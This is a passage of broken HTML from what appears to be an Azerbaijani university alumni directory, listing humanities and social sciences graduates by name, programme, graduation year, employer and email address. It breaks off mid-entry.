elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong></strong></strong></p><h3 id=\"X\">X</h3><p><strong>Xədicə İsmayılova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:khadijaismayilova@gmail.com\">khadijaismayilova[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Xəzər Məmmədli</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Khazar.mamedli@gmail.com\">Khazar.mamedli[at]gmail.com</a></p>\r\n<p>Varşava Maliyyə və Menecment\r\nUniversiteti</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong><br></strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Xətai</strong>&nbsp;&nbsp;Yusubov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüqüq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sea Photo Studio fotoqraf</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Khataiyusubov@gmail.com\">Khataiyusubov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Xəzər</strong>&nbsp;Əzimov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Merkezi Secki Komissiyası</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:xazimov@yahoo.com\">xazimov@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Xədicə Ömərova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq Münasibətlər</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Xedice.omarova@gmail.ru\">Xedice.omarova@gmail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Xədicə Aşurova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Parabank/HR mütəxəssisi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:khadijaava@gmail.com\">khadijaava@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Xuraman Rəhmanova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Xəyalə Əmiraslanova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong><strong></strong></strong></strong></p><h3 id=\"İ\">İ</h3><p><strong>İlahə Əliyeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Ilaha_huseynova94@mail.ru\">Ilaha_huseynova94[at]mail.ru</a> &nbsp;</p>\r\n<p><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>İ</strong>lkin Umuxanov&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Regionşünaslıq&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>İlham Əliyev&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>İradə Ömərova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcümə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:iradeomarova@mail.ru\">iradeomarova@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>İnci Məcidli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:inci.mecidli@hotmail.com\">inci.mecidli@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>İsmayıl</strong>&nbsp;Vəliyev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Müstəqil konsultant</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:aliyevismayil@gmail.com\">aliyevismayil@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>İranə Ağalarzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcümə (ingilis, fars)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>İsmayıl Hüseynov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>İlahə Məmmədova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"K\">K</h3><p><strong>Kənan Gulalı</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Kamil İbrahimov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kamil.ibrahimov.94@mail.ru\">kamil.ibrahimov.94[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Könül Mərdanova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Linqivistika, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Konul_merd@hotmail.com\">Konul_merd[at]hotmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Kəmalə Hüseynova&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Konfliktologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr &nbsp;2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"Q\">Q</h3><p><strong>Qoşqar Mehdiyev</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:qosqar557@gmail.com\">qosqar557[at]gmail.com</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Qənirə Məstəliyeva</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Jurnalistika, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Helen.nilay@gmail.com\">Helen.nilay[at]gmail.com</a></p>\r\n<p>“Azerkitab” Kitab təbliğatı mərkəzi,\r\nofis meneceri<strong></strong></p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Qardaş Bədəlov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Qənirə İsgəndərova</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Klinik Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2014&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Qurban Mustafabəyli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politologiya&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2009&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Qədəmli İsmayılova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Qədir Rüstəmov</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Regionşünas</p><p>Halliburton</p><p>E-mail:&nbsp;<a href=\"mailto:gadirjuventino@gmail.com\">gadirjuventino@gmail.com</a></p><p><a href=\"mailto:gadirjuventino@gmail.com\"></a>Bakalavr 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"L\">L</h3><br><p><strong>Leyla Əhmədova</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Beynəlxalq Münasibətlər, 2017</p>\r\n<p>E-mail: <a href=\"mailto:akhmedovaleyla@gmail.com\">akhmedovaleyla[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Ləman Zamanova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lemanzamanovamj@gmail.com\">lemanzamanovamj[at]gmail.com</a> &nbsp;</p>\r\n<p>Caspian Energy European Club, dizayner\r\nköməkçisi</p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Ləman Cəbiyeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:leman.cebiyeva123@gmail.com\">leman.cebiyeva123[at]gmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Leyla Əzizova&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Leyla Hüseynli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Rahimova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hüquq\r\nvə sosial elmlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İngilis\r\ndili müəllimliyi, Xəzər Universiteti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2002</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Humanitar və sosial elmlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr &nbsp;2015</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rahimovaleyla@yahoo.com\">rahimovaleyla@yahoo.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong></strong></strong></p><h3 id=\"M\">M</h3><br><p><strong>Mənzər Heybətova</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:manzar_heybatova@mail.ru\">manzar_heybatova[at]mail.ru</a> &nbsp;<a href=\"mailto:manzar.heybatova@gmail.com\">manzar.heybatova[at]gmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Murad Balagadaşov</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Balagadashov.1@gmail.com\">Balagadashov.1[at]gmail.com</a></p>\r\n<p>Varşava Maliyyə və Menecment\r\nUniversiteti</p>\r\n<p><strong><br></strong></p><p><strong>Mətanət Kazımova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Matanat.gva@mail.ru\">Matanat.gva[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Mirağa Bağırov</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a 